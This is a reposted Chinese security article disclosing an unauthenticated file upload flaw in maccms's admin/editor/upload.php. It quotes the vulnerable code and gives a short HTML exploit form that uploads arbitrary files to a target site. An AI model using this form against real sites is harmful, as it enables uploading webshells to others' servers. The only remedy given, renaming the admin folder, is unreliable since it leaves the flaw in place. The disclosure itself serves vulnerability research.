网站地图    收藏   

主页 > 后端 > 网站安全 >

maccms鸡肋上传漏洞及修复 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 一小程序,无意间看到的顺便就看了下./admin/editor/upload.php require_once (../admin_conn.php); $action=be(get,action); $ftypes=array(#39;jpg#39;,#39;gif#39;,#39;bmp#39;,#39;png#39......

一小程序,无意间看到的顺便就看了下
 
./admin/editor/upload.php
 
        require_once ("../admin_conn.php");
        $action=be("get","action");
        $ftypes=array('jpg','gif','bmp','png',".jpeg");
        $upfileDir= "../". $_SESSION["upfolder"] . "/" . getSavePicPath() . "/";
        $maxSize=1000;
        if(!file_exists($upfileDir)){
                mkdir($upfileDir);
        }
        foreach($_FILES as $FILEa){
                if(!in_array(substr($FILEa['name'],-3,3),$ftypes))
                        $errm = "文件格式不正确1 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"; //只是将消息存入一个变量 并没有showmsg and exit...
                if($FILEa['size']> $maxSize*1024)
                        $errm = "文件大小超过了限制 [ <a onclick=history.go(-1)>重新上传</a> ]";
                if($FILEa['error'] !=0)
                        $errm = "未知错误";
               
                $targetDir= "../". $_SESSION["upfolder"] . "/" . getSavePicPath() . "/"; //没有登录so session=null...
                $targetFile=date('Ymd').time().substr($FILEa['name'],-4,4);
                $realFile=$targetDir.$targetFile;
               
                if(function_exists('move_uploaded_file')){
                        move_uploaded_file($FILEa['tmp_name'],$realFile); //移动上传文件
                        if(app_watermark==1){
                                imageWaterMark($targetDir.$targetFile,app_waterlocation,app_waterfont);
                        }
                        if($action=="xht"){
                                echo "{'err':'".$errm."','msg':'".app_installdir. replaceStr($upfileDir,"../../","").$targetFile."'}";
                        }
                        else{ //现在才die是不是迟了点?
                                die("<script>parent.document.getElementById('pic').value='".replaceStr($upfileDir,"../../","").$targetFile."'</script>");
                        }
                }
                else{
                        @copy($FILEa['tmp_name'],$realFile); //同上
                        if(app_watermark==1){
                                imageWaterMark($targetDir.$targetFile,app_waterlocation,app_waterfont);
                        }
                        if($action=="xht"){
                                echo "{'err':'".$errm."','msg':'".app_installdir. replaceStr($upfileDir,"../../","").$targetFile."'}";
                        }
                        else{
                                die("<script>parent.document.getElementById('pic').value='".replaceStr($upfileDir,"../../","").$targetFile."'</script>");
                        }
                }
        }
为什么说他鸡肋呢,应为./admin/index.php
 
   if(cururl.indexOf("/admin/") >0){alert('请将文件夹admin改名,避免被黑客入侵攻击');}
so,我搜了下 大多数 (90%++)都修改了后台地址所以是鸡肋之处
 
exp
 
<body leftmargin=0 topmargin=0 style="font-size:11px">
<form name="form" enctype="multipart/form-data" action="http://www.2cto.com /www/mcms/admin/editor/upload.php" method="post">
<input type=file name=file1>
<input type=submit name=submit value="上传">
</form>
上传之后直接查看源文件。。
 
作者 http://www.90sec.org/thread-1727-1-1.html

www.2cto.com提供修复:

参考代码分析,后台一般不要默认地址

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论